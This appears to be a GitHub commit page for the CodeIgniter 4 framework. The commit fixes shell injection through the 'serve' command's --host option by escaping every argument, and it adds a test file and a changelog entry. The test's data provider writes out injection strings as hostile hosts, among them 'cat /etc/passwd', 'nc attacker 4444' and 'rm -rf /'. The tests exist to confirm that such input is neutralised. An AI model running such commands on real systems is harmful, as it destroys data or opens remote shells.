Skip to content

Commit 520bc56

Browse files
paulbalandanpaulbalandan
committed
fix: escape --host option in serve command
1 parent a7495c5 commit 520bc56

3 files changed

Lines changed: 163 additions & 19 deletions

File tree

‎system/Commands/Server/Serve.php‎

Lines changed: 24 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -17,11 +17,7 @@
1717
use CodeIgniter\CLI\CLI;
1818

1919
/**
20-
* Launch the PHP development server
21-
*
22-
* Not testable, as it throws phpunit for a loop :-/
23-
*
24-
* @codeCoverageIgnore
20+
* Launch the PHP development server.
2521
*/
2622
class Serve extends BaseCommand
2723
{
@@ -86,34 +82,43 @@ class Serve extends BaseCommand
8682
];
8783

8884
/**
89-
* Run the server
85+
* Run the server.
86+
*
87+
* @codeCoverageIgnore
9088
*/
9189
public function run(array $params)
9290
{
93-
// Collect any user-supplied options and apply them.
94-
$php = escapeshellarg(CLI::getOption('php') ?? PHP_BINARY);
91+
$php = CLI::getOption('php') ?? PHP_BINARY;
9592
$host = CLI::getOption('host') ?? 'localhost';
9693
$port = (int) (CLI::getOption('port') ?? 8080) + $this->portOffset;
9794

98-
// Get the party started.
9995
CLI::write('CodeIgniter development server started on http://' . $host . ':' . $port, 'green');
10096
CLI::write('Press Control-C to stop.');
10197

102-
// Set the Front Controller path as Document Root.
103-
$docroot = escapeshellarg(FCPATH);
104-
105-
// Mimic Apache's mod_rewrite functionality with user settings.
106-
$rewrite = escapeshellarg(SYSTEMPATH . 'rewrite.php');
107-
108-
// Call PHP's built-in webserver, making sure to set our
109-
// base path to the public folder, and to use the rewrite file
110-
// to ensure our environment is set and it simulates basic mod_rewrite.
111-
passthru($php . ' -S ' . $host . ':' . $port . ' -t ' . $docroot . ' ' . $rewrite, $status);
98+
passthru(
99+
$this->buildServeCommand($php, $host, $port, FCPATH, SYSTEMPATH . 'rewrite.php'),
100+
$status,
101+
);
112102

113103
if ($status !== EXIT_SUCCESS && $this->portOffset < $this->tries) {
114104
$this->portOffset++;
115105

116106
$this->run($params);
117107
}
118108
}
109+
110+
/**
111+
* Builds the shell command passed to PHP's built-in webserver, escaping
112+
* every user-influenced argument so it cannot be interpreted by /bin/sh.
113+
*/
114+
protected function buildServeCommand(string $php, string $host, int $port, string $docroot, string $rewrite): string
115+
{
116+
return sprintf(
117+
'%s -S %s -t %s %s',
118+
escapeshellarg($php),
119+
escapeshellarg($host . ':' . $port),
120+
escapeshellarg($docroot),
121+
escapeshellarg($rewrite),
122+
);
123+
}
119124
}

‎tests/system/Commands/Server/ServeTest.php‎

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
<?php
2+
3+
declare(strict_types=1);
4+
5+
/**
6+
* This file is part of CodeIgniter 4 framework.
7+
*
8+
* (c) CodeIgniter Foundation <admin@codeigniter.com>
9+
*
10+
* For the full copyright and license information, please view
11+
* the LICENSE file that was distributed with this source code.
12+
*/
13+
14+
namespace CodeIgniter\Commands\Server;
15+
16+
use Closure;
17+
use CodeIgniter\Test\CIUnitTestCase;
18+
use PHPUnit\Framework\Attributes\DataProvider;
19+
use PHPUnit\Framework\Attributes\Group;
20+
use PHPUnit\Framework\Attributes\RequiresOperatingSystem;
21+
22+
/**
23+
* @internal
24+
*/
25+
#[Group('Others')]
26+
#[RequiresOperatingSystem('^(?!WIN)')]
27+
final class ServeTest extends CIUnitTestCase
28+
{
29+
/**
30+
* @return Closure(string, string, int, string, string): string
31+
*/
32+
private function buildServeCommand(): Closure
33+
{
34+
/** @var Closure(string, string, int, string, string): string */
35+
return self::getPrivateMethodInvoker(
36+
new Serve(service('logger'), service('commands')),
37+
'buildServeCommand',
38+
);
39+
}
40+
41+
public function testBuildsExpectedCommandWithDefaultArguments(): void
42+
{
43+
$build = $this->buildServeCommand();
44+
45+
$command = $build('/usr/bin/php', 'localhost', 8080, '/srv/public', '/srv/system/rewrite.php');
46+
47+
$this->assertSame(
48+
"'/usr/bin/php' -S 'localhost:8080' -t '/srv/public' '/srv/system/rewrite.php'",
49+
$command,
50+
);
51+
}
52+
53+
#[DataProvider('provideEscapesMaliciousHosts')]
54+
public function testEscapesMaliciousHosts(string $host, string $expected): void
55+
{
56+
$build = $this->buildServeCommand();
57+
58+
$command = $build('/usr/bin/php', $host, 8080, '/srv/public', '/srv/system/rewrite.php');
59+
60+
$this->assertSame($expected, $command);
61+
}
62+
63+
/**
64+
* @return iterable<string, array{string, string}>
65+
*/
66+
public static function provideEscapesMaliciousHosts(): iterable
67+
{
68+
yield 'command substitution dollar' => [
69+
'$(id)',
70+
"'/usr/bin/php' -S '\$(id):8080' -t '/srv/public' '/srv/system/rewrite.php'",
71+
];
72+
73+
yield 'command substitution backtick' => [
74+
'`whoami`',
75+
"'/usr/bin/php' -S '`whoami`:8080' -t '/srv/public' '/srv/system/rewrite.php'",
76+
];
77+
78+
yield 'shell separator semicolon' => [
79+
'localhost;cat /etc/passwd',
80+
"'/usr/bin/php' -S 'localhost;cat /etc/passwd:8080' -t '/srv/public' '/srv/system/rewrite.php'",
81+
];
82+
83+
yield 'shell separator pipe' => [
84+
'localhost|nc attacker 4444',
85+
"'/usr/bin/php' -S 'localhost|nc attacker 4444:8080' -t '/srv/public' '/srv/system/rewrite.php'",
86+
];
87+
88+
yield 'shell separator ampersand' => [
89+
'localhost && rm -rf /',
90+
"'/usr/bin/php' -S 'localhost && rm -rf /:8080' -t '/srv/public' '/srv/system/rewrite.php'",
91+
];
92+
93+
yield 'redirection' => [
94+
'localhost>/tmp/pwn',
95+
"'/usr/bin/php' -S 'localhost>/tmp/pwn:8080' -t '/srv/public' '/srv/system/rewrite.php'",
96+
];
97+
98+
yield 'embedded single quote' => [
99+
"a'b",
100+
"'/usr/bin/php' -S 'a'\\''b:8080' -t '/srv/public' '/srv/system/rewrite.php'",
101+
];
102+
103+
yield 'newline' => [
104+
"localhost\nmalicious",
105+
"'/usr/bin/php' -S 'localhost\nmalicious:8080' -t '/srv/public' '/srv/system/rewrite.php'",
106+
];
107+
}
108+
109+
public function testEscapesPhpBinaryAndPaths(): void
110+
{
111+
$build = $this->buildServeCommand();
112+
113+
$command = $build(
114+
'/path with spaces/php',
115+
'localhost',
116+
8080,
117+
'/path with spaces/public',
118+
'/path with spaces/system/rewrite.php',
119+
);
120+
121+
$this->assertSame(
122+
"'/path with spaces/php' -S 'localhost:8080' -t '/path with spaces/public' '/path with spaces/system/rewrite.php'",
123+
$command,
124+
);
125+
}
126+
127+
public function testHonoursAdjustedPortValue(): void
128+
{
129+
$build = $this->buildServeCommand();
130+
131+
$command = $build('/usr/bin/php', 'localhost', 8082, '/srv/public', '/srv/system/rewrite.php');
132+
133+
$this->assertSame(
134+
"'/usr/bin/php' -S 'localhost:8082' -t '/srv/public' '/srv/system/rewrite.php'",
135+
$command,
136+
);
137+
}
138+
}

‎user_guide_src/source/changelogs/v4.7.3.rst‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ Bugs Fixed
4141
- **CLI:** Fixed a bug where ``CLI::generateDimensions()`` leaked ``tput`` error output (``tput: No value for $TERM and no -T specified``) to stderr when the ``stty`` fallback was reached and the ``TERM`` environment variable was not set.
4242
- **Commands:** Fixed a bug in the ``env`` command where passing options only would cause the command to throw a ``TypeError`` instead of showing the current environment.
4343
- **Commands:** Fixed a bug in ``key:generate`` command where the regex used to locate the ``encryption.key`` line was fooled by a comment containing the substring (silently writing nothing), and did not handle DotEnv's ``export encryption.key = ...`` syntax.
44+
- **Commands:** Fixed a bug in the ``serve`` command where the ``--host`` option was concatenated into the ``passthru()`` call without ``escapeshellarg()``, letting shell metacharacters in the locally-supplied argument be interpreted by ``/bin/sh``.
4445
- **Common:** Fixed a bug where the ``command()`` helper function did not properly clean up output buffers, which could lead to risky tests when exceptions were thrown.
4546
- **Database:** Fixed a bug where ``BaseConnection::listTables()`` could return a sparse array when using cached table names after a table was dropped.
4647
- **Database:** Fixed a bug where the PostgreSQL driver's ``increment()`` and ``decrement()`` methods were not working for numeric columns.

0 commit comments

Comments
 (0)